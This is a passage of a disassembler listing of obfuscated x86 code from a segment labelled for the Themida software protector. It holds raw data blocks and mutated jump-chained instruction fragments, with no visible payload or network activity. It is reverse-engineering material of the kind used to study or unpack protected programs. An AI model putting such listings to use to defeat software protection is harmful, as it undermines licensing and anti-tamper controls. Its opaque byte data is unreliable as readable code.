		dd 895ABEF4h, 242C8BEBh, 0E904C483h, 0FFFF085Dh, 0DA65CBBDh
		dd 0CCED8102h, 0E9423E45h, 0FFFEF75Ch, 4EA81h, 14870000h
		dd 4895C24h, 2474FF24h,	24048B04h, 8F04C483h, 248B2404h
		dd 30FF6624h, 0FEEF79E9h, 2434FFFFh, 986E958h, 1C8B0000h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 31243433h, 12E92434h
		dd 28FFFFA6h, 24048BE6h, 4C481h, 32E90000h, 31FFFFA9h
		dd 0DBF759CBh, 0A7BBF381h, 0D8218A46h, 0BDBB535Bh, 5AD001Eh
		dd 401642C3h, 3919932Dh, 5D82956h, 56391993h, 0FF674AE9h
		dd 240433FFh, 2414895Ch, 0FFB04CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_510909:				; CODE XREF: Themida_:005042CEj
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	1EE5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_5034D8
; ---------------------------------------------------------------------------
		dd 934DBB68h, 24148B74h, 2BDBE9h, 0E8895B00h, 246C815Dh
		dd 55599D04h, 2444011Dh, 24448104h, 55599D04h, 0E956581Dh
		dd 0FFFF227Ch
; ---------------------------------------------------------------------------

loc_510954:				; CODE XREF: Themida_:00509089j
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		jmp	loc_512246
; ---------------------------------------------------------------------------
		dw 77FFh
aS_7		db '<&',0
		align 2

loc_51096E:				; CODE XREF: Themida_:0050AF9Ej
		mov	ebp, edi
		pop	edi
		pop	ebx
		xor	eax, ebp
		pop	ebp
		and	ecx, eax
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_50CED4
; ---------------------------------------------------------------------------

loc_51098B:				; CODE XREF: Themida_:0050F56Dj
		shl	eax, 1
		shl	eax, 1
		xor	eax, 0DA01BA6Dh
		sub	edx, eax
		pop	eax
		jmp	loc_500ADB
; ---------------------------------------------------------------------------
		dd 4BFh, 8BF90100h, 0C483243Ch,	4E98104h, 0E9000000h, 0FFFF3998h
		dd 497D40BAh, 5FFA2953h, 34FFD501h, 24148B24h, 0FF38F4E9h
		dd 240C31FFh, 0E9240C33h, 0FFFF5144h, 6270BA52h, 0D2F710A3h
		dd 0F7D2F74Ah, 45DDE9DAh, 0C083FFFFh, 24048704h, 0E689565Ch
		dd 4C681h, 76E90000h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5109FB:				; CODE XREF: Themida_:00513788j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_5006DC
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 8625E904h, 148BFFFFh, 0E0895024h, 405h, 40500h, 4870000h
		dd 54D8E924h, 0EBC1FFFFh, 0C0F38103h, 81244547h, 2681ACEBh
		dd 5BD829C9h, 0FF6EF7E9h, 4C781FFh, 81000000h, 4C7h, 243C8700h
		dd 19E5685Ch, 2C890000h, 2474FF24h, 2434FF04h, 0E089505Dh
		dd 405h, 4C08300h, 31240433h, 4332404h,	24248B24h, 0E924048Fh
		dd 15A4h, 41E6814Eh, 831BF711h,	2C8904ECh, 6BCEE924h, 0EC81FFFFh
		dd 4, 0E9242C89h, 0FFFEF5C9h, 52242C89h, 0C429C0BAh, 34815235h
		dd 873DE224h, 0F5815D70h, 70873DE2h, 0E924148Bh, 0FFFF3B51h
		dd 815BDD31h, 0F1FD09C5h, 5DE8296Dh, 0BD55C801h, 79575D46h
		dd 0AAE9E801h, 0FFFFFF0Ah, 48B2434h, 84E95524h,	53FFFF7Ch
		dd 0FFD898E9h, 0D3F75AFFh, 0BF57EBD1h, 56E20672h, 0C104EFC1h
		dd 0EC8308E7h, 24348904h, 8A4BE8BEh, 0FCEE8129h, 81462E75h
		dd 830BAFF6h, 8BF70119h, 0C4812434h, 4,	0E95FFB31h, 0FFFF477Eh
; ---------------------------------------------------------------------------

loc_510B30:				; CODE XREF: Themida_:00514842j
		mov	[esp], ebx
		push	esp
		jmp	loc_50C122
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 0FFFF120Fh
; ---------------------------------------------------------------------------

loc_510B40:				; CODE XREF: Themida_:0050D53Aj
		add	esi, 1
		jmp	loc_50D34C
; ---------------------------------------------------------------------------

loc_510B4B:				; CODE XREF: Themida_:00506E4Bj
		mov	[esp], edx
		jmp	loc_507DD2
; ---------------------------------------------------------------------------

loc_510B53:				; CODE XREF: Themida_:00512A41j
		mov	dl, bl
		pop	ebx
		jmp	loc_513422
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0BFE95700h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510B67:				; CODE XREF: Themida_:005012FCj
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5054D2
; ---------------------------------------------------------------------------
		dd 0FEECA1E9h, 45F681FFh, 29DC9944h, 0C1815EF1h, 13BDA2D1h
		dd 2959CB89h, 0E9D889C3h, 0FFFFEE2Fh
; ---------------------------------------------------------------------------

loc_510B90:				; CODE XREF: Themida_:005063F9j
		add	esp, 4
		push	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_50A3E7
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0C6810000h, 7B3E2348h, 0EE81DE01h, 7B3E2348h, 25BA525Bh
		dd 0E9240F5Fh, 21ECh, 0F65BDC28h, 48C480D4h, 0FFFCF2E9h
		dd 4F82CFFh, 312C5B5Bh,	0E828CB04h, 0FFC88EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_510BE1:				; CODE XREF: Themida_:0051364Fj
		pop	ebx
		push	edi
		mov	edi, 2FB52CCDh
		jmp	loc_5115DE
; ---------------------------------------------------------------------------
		db 0E9h, 24h, 0ECh
		dd 0C483FFFEh, 0FFD30104h, 525A2434h, 0C2815A54h, 4, 8704C283h
		dd 0E95C2414h, 3C48h, 4EC81h, 2C890000h, 4B0CBD24h, 7FE9533Ah
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510C23:				; CODE XREF: Themida_:00500C5Cj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5039A7
; ---------------------------------------------------------------------------

loc_510C31:				; CODE XREF: Themida_:0050FE00j
		add	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_501D59
; ---------------------------------------------------------------------------
		db 86h
		dd 0DBC480F4h, 88E78853h, 0C0585BFDh, 885206EDh, 3549E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_510C56:				; CODE XREF: Themida_:0050017Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	7F7h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_514965
; ---------------------------------------------------------------------------

loc_510C94:				; CODE XREF: Themida_:0050D243j
		dec	ecx
		or	ecx, 575641Dh
		sub	ecx, 0A250DC78h
		add	esi, ecx
		pop	ecx
		jmp	loc_507B0D
; ---------------------------------------------------------------------------
		db 0BBh, 70h, 30h
		dd 35E94120h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510CB3:				; CODE XREF: Themida_:0050DA21j
		pop	ebx
		push	ecx
		mov	ecx, 6A9E197Ch
		add	ecx, 9561E688h
		jmp	loc_503E5C
; ---------------------------------------------------------------------------

loc_510CC5:				; CODE XREF: Themida_:005112C9j
		mov	esi, esp
		push	ebp
		mov	ebp, 71A63202h
		jmp	loc_507CC3
; ---------------------------------------------------------------------------

loc_510CD2:				; CODE XREF: Themida_:005001E3j
		add	ebx, ebp
		sub	ebx, 6D0D54E3h
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	edx
		push	4
		jmp	loc_513DFE
; ---------------------------------------------------------------------------

loc_510CEF:				; CODE XREF: Themida_:00514438j
		add	ebx, 42EE9926h
		sub	ecx, 0E7F0D80h
		add	ecx, ebx
		add	ecx, 0E7F0D80h
		pop	ebx
		add	ecx, 7E563291h
		mov	esi, [esp]
		jmp	loc_5064F1
; ---------------------------------------------------------------------------
		dw 3487h
		dd 9BDCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510D1A:				; CODE XREF: Themida_:005086B5j
		push	edi
		mov	edi, esp
		jmp	loc_50A3F2
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 0D359E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510D2A:				; CODE XREF: Themida_:0050282Bj
		xor	esi, 0ED06AFDh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp

loc_510D37:				; CODE XREF: Themida_:loc_50B137j
					; Themida_:loc_50B2C9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5144BC
; ---------------------------------------------------------------------------
		db 80h
		dd 0D0005DC2h, 0FD3E9h,	241C8B00h, 4C481h, 0FF520000h
		dd 5A042474h, 5C24048Fh, 0B9240C89h, 708D31F1h,	0FF408DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_510D79:				; CODE XREF: Themida_:0050A772j
		pop	esp
		push	dword ptr [eax]
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C4h
		dd 4, 0E9E18951h, 0FFFF5A52h
; ---------------------------------------------------------------------------

loc_510D90:				; CODE XREF: Themida_:0050CA97j
		pop	edi
		add	esp, 4
		add	ebx, ebp
		push	edx
		jmp	loc_500701
; ---------------------------------------------------------------------------
		dd 875FFB29h, 248B241Ch, 240C8924h, 0E9C00CB1h,	7E9C003h
		dd 0D9F6C9FEh, 0E914F180h, 30ADh, 0C43F781h, 6C81284Fh
		dd 506F0424h, 7C01633Ah, 44810424h, 506F0424h, 5D5F633Ah
		dd 4C581h, 0EC810000h, 4, 0B9240C89h, 4, 5CE9CD01h, 52FFFFACh
		dd 5AB86650h, 0F6BA6635h, 828CE937h, 8358FFFFh,	0EC8304C4h
		dd 242C8904h, 42474FFh,	3EA2E9h
		db 0
; ---------------------------------------------------------------------------

loc_510E15:				; CODE XREF: Themida_:0051280Dj
		push	ebp
		mov	ebp, 4
		push	edx
		mov	edx, 631224E1h
		sub	ecx, edx
		pop	edx
		sub	ecx, 4ABD09EEh
		add	ecx, ebp
		push	edi
		jmp	loc_50E0AF
; ---------------------------------------------------------------------------

loc_510E32:				; CODE XREF: Themida_:005070CEj
		pop	esi
		add	edi, ecx
		sub	edi, 27652015h
		pop	ecx
		jmp	loc_50DBDC
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 66h
		dd 9BE9DBF7h, 81FFFF34h, 4A73DCF6h, 6A932D51h, 7CE94366h
		dd 66FFFF73h, 8124048Bh, 4ECh, 240C8900h, 8FE9E189h, 29FFFF47h
		dd 6FA105C8h, 0C8B2343h, 4C48124h, 8B000000h, 8951241Ch
		dd 4C181E1h, 0E9000000h, 0FFFF4B1Eh, 83243C8Bh,	0F38104C4h
		dd 1D414B6Eh, 6149EE81h, 7FE93CE2h, 81FFFFDFh, 614FA1F1h
		dd 0AEC18141h, 51540A76h, 0E92414F7h, 0FFFF7FE3h
; ---------------------------------------------------------------------------

loc_510EBC:				; CODE XREF: Themida_:0050A574j
		and	ebx, ebp
		pop	ebp
		jmp	loc_507230
; ---------------------------------------------------------------------------
		dd 6DA5E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510ECA:				; CODE XREF: Themida_:00503CF5j
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_50F58F
; ---------------------------------------------------------------------------

loc_510EDB:				; CODE XREF: Themida_:005143ACj
		sub	edi, 656B1ABCh
		inc	edi
		add	edi, 478B22DAh
		jmp	loc_507A7A
; ---------------------------------------------------------------------------

loc_510EED:				; CODE XREF: Themida_:0050774Ej
		mov	ebx, 0E5472B5h
		xor	ebx, 7186051Ah
		add	ebx, 0BE4EB67Eh
		or	esi, ebx
		pop	ebx
		shl	esi, 7
		add	esi, 53C78FE9h
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_511F91
; ---------------------------------------------------------------------------
		dw 8159h
		dd 291BFFC1h, 241DE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510F2A:				; CODE XREF: Themida_:0050EDC7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5148CB
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 0F6DEE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_510F4A:				; CODE XREF: Themida_:005070A1j
		pop	eax
		push	esi
		push	ebp
		mov	ebp, 4
		mov	esi, ebp
		jmp	loc_51292A
; ---------------------------------------------------------------------------

loc_510F59:				; CODE XREF: Themida_:0050F9CBj
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	7DA4h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_5082FE
; ---------------------------------------------------------------------------
		db 29h
		dd 534A59CAh, 3A6889BBh, 0E82BE944h, 2C8BFFFFh,	0E3895324h
		dd 4C381h, 32E90000h, 81FFFF95h, 68F0ABC5h, 5DEF3140h
		dd 3F4EBB53h, 0C4E966EAh, 0B800003Ah, 54B10C25h, 0FF9C88E9h
		dd 0D3E955FFh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510FB7:				; CODE XREF: Themida_:00506ED2j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ecx
		jmp	loc_5138C9
; ---------------------------------------------------------------------------
		db 81h
		dd 9E198AEDh, 0AFED8132h, 0E9411E53h, 0FFFF7257h
; ---------------------------------------------------------------------------

loc_510FD4:				; CODE XREF: Themida_:0050D3DAj
		add	eax, 458B532Fh
		not	eax
		sub	eax, 0FBDAF8EBh
		or	ebx, eax
		pop	eax
		push	7BB0h
		mov	[esp], edi
		jmp	loc_51179F
; ---------------------------------------------------------------------------

loc_510FF0:				; CODE XREF: Themida_:0050233Aj
		pop	esi
		jmp	loc_51206D
; ---------------------------------------------------------------------------

loc_510FF6:				; CODE XREF: Themida_:0050D078j
		push	2E73h
		mov	[esp], edx
		jmp	loc_5060A0
; ---------------------------------------------------------------------------
		db 58h
		dd 6CF568h, 243C8900h, 4BFh, 5FF90100h,	31240C33h, 0C33240Ch
		dd 24248B24h, 53C8B60Fh, 755C68h, 36C7E900h, 0E95C0000h
		dd 0FFFFE7F2h, 8B241C33h, 0F7662424h, 6BF568F9h, 4890000h
		dd 51585424h, 0FF0454E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51104D:				; CODE XREF: Themida_:00513AB1j
		pop	ebp
		jmp	loc_50C445
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0CFE9241Ch, 83FFFFA2h, 48F04C4h, 47215C24h, 24048B1Ch
		dd 3EA6E957h, 489FFFFh,	4B824h,	0ED810000h, 189A01C7h
		dd 0C581C529h, 189A01C7h, 0E92434FFh, 0FFFFFD76h, 7188BA52h
		dd 47E94CB9h
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511097:				; CODE XREF: Themida_:0050F8C2j
		mov	[esp], edx
		push	edi
		jmp	loc_5123E6
; ---------------------------------------------------------------------------
		dd 0E9D02966h, 0FFFF0313h, 15FFB89h, 8133FFFBh,	7C68242Ch
		dd 48B1611h, 13F76824h,	57E90000h, 68FFFFB0h, 1F8Dh, 53240C89h
		dd 0A36590BBh, 24B5B95Ah, 0D931215Fh, 5C32E95Bh, 0D001FFFFh
		dd 0B8541705h, 0FF505A17h, 58042474h, 0FF2311E9h, 0C1DA87FFh
		dd 0BD5505E2h, 0D9BAE9DEh, 661ABB53h, 0EA8134A8h, 386053AEh
		dd 0D7E9DA01h, 0FFFFFF0Dh, 48B2434h, 0E3895324h, 4C381h
		dd 0DE90000h, 29FFFF17h, 242C8BEBh, 4C481h, 0E95E0000h
		dd 0FFFF66E0h, 57242489h, 4BFh,	24448100h, 2E0C4D04h, 246C8157h
		dd 79515B04h, 246C810Fh, 0B444704h, 247C010Ch, 24448104h
		dd 0B444704h, 2444810Ch, 79515B04h, 246C810Fh, 2E0C4D04h
		dd 3C8B5F57h, 5E84E924h, 515EFFFFh, 0BF57E189h,	440A4125h
		dd 0E89F781h, 0F4E946F8h, 0BEFFFFC6h, 7E7A7967h, 8246C81h
		dd 5F6D1009h, 0FF75EDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5111A1:				; CODE XREF: Themida_:00506217j
		push	eax
		xor	dword ptr [esp], 620507EDh
		pop	esi
		xor	esi, 620507EDh
		jmp	loc_501B5F
; ---------------------------------------------------------------------------
		db 29h,	0EBh, 5Dh
		dd 5C241C87h, 0B7241C89h, 0E9FD30F9h, 0FFFF5019h
; ---------------------------------------------------------------------------

loc_5111C8:				; CODE XREF: Themida_:00505170j
		pop	esp
		sub	[edx], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shl	dword ptr [edx], 3
		sub	dword ptr [edx], 5B4F5940h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_505ACA
; ---------------------------------------------------------------------------

loc_5111F5:				; CODE XREF: Themida_:005141DCj
		add	ebp, edi
		jmp	loc_503A61
; ---------------------------------------------------------------------------

loc_5111FC:				; CODE XREF: Themida_:004FFA52j
		sub	edi, 0D59A63DBh
		jmp	loc_504E00
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4DFC58D5h, 4CE9EE21h, 5AFFFF7Bh, 34E9C800h, 81FFFFAFh
		dd 4C2h, 4C28100h, 0E9000000h, 65Bh, 40BE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_511232:				; CODE XREF: Themida_:00500F6Dj
		push	ecx
		mov	ecx, 3C0C5ABDh
		push	edx
		jmp	loc_50FCE1
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 89522414h, 4C281E2h,	81000000h, 4C2h, 24148700h, 3C68515Ch
		dd 8900000Dh, 86B82404h, 5051915h, 164E2E0Bh, 4158C189h
		dd 0E904EC83h, 0FFFFB80Bh, 6009B951h, 0C1817DBCh, 0C08AE2F0h
		dd 5559CB89h, 0FFC25CE9h, 0DAC681FFh, 11FCC18h,	0F9015EF1h
		dd 0F521E957h, 3489FFFFh, 815E5424h, 4C6h, 4C68300h, 0FF55E9E9h
		dd 0C4815DFFh, 4, 57E38953h, 4BFh, 1D2DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5112C2:				; CODE XREF: Themida_:005054E2j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_510CC5
; ---------------------------------------------------------------------------
		dw 0EF88h
		dd 0E9FD8851h, 2806h, 4905B850h, 0C38908DEh, 0FEFF5EE9h
		dd 24048FFFh, 0D324248Bh, 0E99C2404h, 0FFFEE522h, 0D991C681h
		dd 0F789F8B0h, 178AE9h
		db 0
; ---------------------------------------------------------------------------

loc_511301:				; CODE XREF: Themida_:00512875j
		mov	[esp], ebx
		jmp	loc_50FACF
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 8
		dd 0FF35CEE9h, 71C005FFh, 0DFE944B0h, 81FFFFA6h, 16D1F7h
		dd 2C61E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511326:				; CODE XREF: Themida_:00504E2Cj
		pop	edx
		sub	edx, 6150107Eh
		push	eax
		mov	eax, 786B65CCh
		jmp	loc_50DB2C
; ---------------------------------------------------------------------------

loc_511338:				; CODE XREF: Themida_:00505565j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_507C1E
; ---------------------------------------------------------------------------

loc_51134B:				; CODE XREF: Themida_:0050A4D4j
		mov	eax, 0A2028E45h
		sub	esi, eax
		pop	eax
		jmp	loc_4FFBA9
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 50000000h,	80748EB8h, 4949E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51136A:				; CODE XREF: Themida_:00504B58j
		sub	edi, 4
		jmp	loc_510362
; ---------------------------------------------------------------------------
		dw 0F520h
		dd 5EDC05Ah, 2454F651h,	23E95901h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511383:				; CODE XREF: Themida_:0050DB63j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_50E124
; ---------------------------------------------------------------------------
		dd 297BF581h, 0E9018364h, 0FFC8315Dh, 0C8B2434h, 0EBFE924h
		dd 685A0000h, 490Bh, 52240489h,	0D488EA88h, 0E281E95Ah
		dd 8758FFFFh, 0E4E9240Ch, 2CFFFF0Dh, 4E80065h, 59700465h
		dd 0FF8C4BE9h, 5F5F5EFFh, 2B47E9h, 24248900h, 4BF57h, 7C010000h
		dd 0E95F0424h, 0FFFF01E9h
; ---------------------------------------------------------------------------

loc_5113F0:				; CODE XREF: Themida_:00511B0Fj
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_50A9FE
; ---------------------------------------------------------------------------

loc_51140D:				; CODE XREF: Themida_:0050EDA5j
		pop	esp
		push	4D68h
		mov	[esp], ebp
		mov	ebp, 4BC02483h
		push	eax
		jmp	loc_5013E4
; ---------------------------------------------------------------------------

loc_511421:				; CODE XREF: Themida_:0050A9F1j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_50CF2A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 5E6AABBAh, 19E9566Ch
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511443:				; CODE XREF: Themida_:0050D839j
		push	edx
		mov	edx, 4
		add	ebp, 5CE92EA7h
		jmp	loc_503CFA
; ---------------------------------------------------------------------------

loc_511454:				; CODE XREF: Themida_:00509F84j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_50B137
; ---------------------------------------------------------------------------
		db 68h,	0AEh, 2
		dd 3C8B0067h, 4C48324h,	3630E9h, 4BF00h, 0FD010000h, 0FFA369E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_511479:				; CODE XREF: Themida_:00506EE3j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_50EF95
; ---------------------------------------------------------------------------
		db 1, 0F5h, 50h
		dd 8A1426B8h, 58C5016Dh, 8324348Bh, 555604C4h, 0C93A4ABDh
		dd 0C5B8BE7Fh, 0EE818036h, 6E6C2139h, 190BC681h, 0EE0132BEh
		dd 190BEE81h, 0C68132BEh, 6E6C2139h, 286EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5114C5:				; CODE XREF: Themida_:005065D9j
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_505483
; ---------------------------------------------------------------------------

loc_5114D5:				; CODE XREF: Themida_:00501CE9j
		push	6C0Eh
		jmp	loc_505F81
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66EA2C8Dh, 0EC815352h, 4, 0B5240C89h, 77A6E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5114F6:				; CODE XREF: Themida_:00501307j
		push	ecx
		jmp	loc_50C482
; ---------------------------------------------------------------------------

loc_5114FC:				; CODE XREF: Themida_:0050B92Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	ecx
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_501CEE
; ---------------------------------------------------------------------------

loc_51150F:				; CODE XREF: Themida_:0051283Ej
		pop	eax
		jmp	loc_50B91F
; ---------------------------------------------------------------------------

loc_511515:				; CODE XREF: Themida_:0050E0B4j
		add	ecx, edi
		jmp	loc_511951
; ---------------------------------------------------------------------------
		dd 5C47B951h, 0F1812182h, 21825C43h, 0FF9FCEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51152D:				; CODE XREF: Themida_:00500EA5j
		not	ebp
		and	ebp, 34972EF7h
		sub	ebp, 86D2EACEh
		add	ecx, ebp
		jmp	loc_5094E8
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 25C3815Dh, 12F1464h,	9A18E9C3h, 3489FFFFh, 2AE3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51155A:				; CODE XREF: Themida_:005122F1j
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_506664
; ---------------------------------------------------------------------------

loc_51156F:				; CODE XREF: Themida_:00509004j
		sub	edi, ebp
		pop	ebp
		add	ecx, edi
		jmp	loc_50EAA9
; ---------------------------------------------------------------------------

loc_511579:				; CODE XREF: Themida_:0050A094j
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 0BB15E7Ch
		sub	esi, 77D345ACh
		push	ebx
		jmp	loc_5142B4
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 9
		dd 81FFFFD5h, 0A5220BCFh, 0D7EF8159h, 810F2D23h, 447C44F7h
		dd 0F7EF8123h, 539F1E51h, 9157A2BBh, 22CB8130h,	4B45DB2Ah
		dd 1419F381h, 0DF011D1Fh, 2E7C15Bh, 1C73BE56h, 0EEC10E4Dh
		dd 0ACF68107h, 0F772A84Bh, 0C6DBE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5115DE:				; CODE XREF: Themida_:00510BE8j
		xor	ebx, edi
		jmp	loc_5148B3
; ---------------------------------------------------------------------------

loc_5115E5:				; CODE XREF: Themida_:0050CF5Aj
		mov	[esp], edi
		mov	edi, 43D339BCh
		add	ecx, edi
		pop	edi
		sub	ecx, 48594C59h
		sub	ebp, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_513493
; ---------------------------------------------------------------------------
aRsR3Se		db 'RS[r3',1Bh,'^',27h,'$!',0
		align 4
		dd 6BC38166h, 0CB81664Bh, 0CEE973D4h, 54FFFFE7h, 0FEF5C7E9h
		dd 515D54FFh, 0FFE64DE9h, 240C8BFFh, 4C481h, 0F1810000h
		dd 2A5F0FFFh, 0FEF745E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_511659:				; CODE XREF: Themida_:00503B41j
		pop	edx
		add	eax, 148F49EAh
		add	eax, edi
		sub	eax, 148F49EAh
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		push	eax
		push	396FE4h
		pop	eax
		push	eax
		not	dword ptr [esp]
		jmp	loc_511E66
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF8DF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51168D:				; CODE XREF: Themida_:005138F0j
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_505CDB
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B4h
		dd 9516E929h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5116AA:				; CODE XREF: Themida_:0050C70Fj
		pop	edi
		shr	ebx, 7
		jmp	loc_50C276
; ---------------------------------------------------------------------------

loc_5116B3:				; CODE XREF: Themida_:00513575j
		push	ebx
		push	ebp
		jmp	loc_514CDC
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 89000000h, 0C3895BD8h, 0FFC85DE9h, 4C783FFh,	8B243C87h
		dd 0E9C12424h, 0EC835605h, 24048904h, 726E6BB8h, 58C6893Bh
		dd 0D6E9DEF7h, 8BFFFEE3h, 0C481240Ch, 4, 8304C483h, 896602ECh
		dd 78B62414h, 81E68956h, 4C6h, 4EE8100h, 0E9000000h, 0FFFF7A0Fh
		dd 83240C8Bh, 895604C4h, 4B951E6h, 1000000h, 0C68359CEh
		dd 24348704h, 191E95Ch,	0FB68FFFFh, 89000066h, 34BE2434h
		dd 0C14AA93Dh, 0EEC104E6h, 0E9DEF705h, 0FFFFABBDh, 9D1C77FFh
		dd 24041158h, 0E0BCE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_51175A:				; CODE XREF: Themida_:00507C93j
		shl	eax, 3
		xor	eax, 0FAAAC33Ch
		mov	edx, eax
		pop	eax
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	5A40h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_50B618
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0F2h
		dd 1A07165h, 0BA3EE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51178E:				; CODE XREF: Themida_:0050EC02j
		add	edx, edi
		pop	edi
		add	edx, edi
		sub	edx, 216943C2h
		pop	edi
		jmp	loc_5067DC
; ---------------------------------------------------------------------------

loc_51179F:				; CODE XREF: Themida_:00510FEBj
		mov	edi, 41892DF5h
		jmp	loc_513EB4
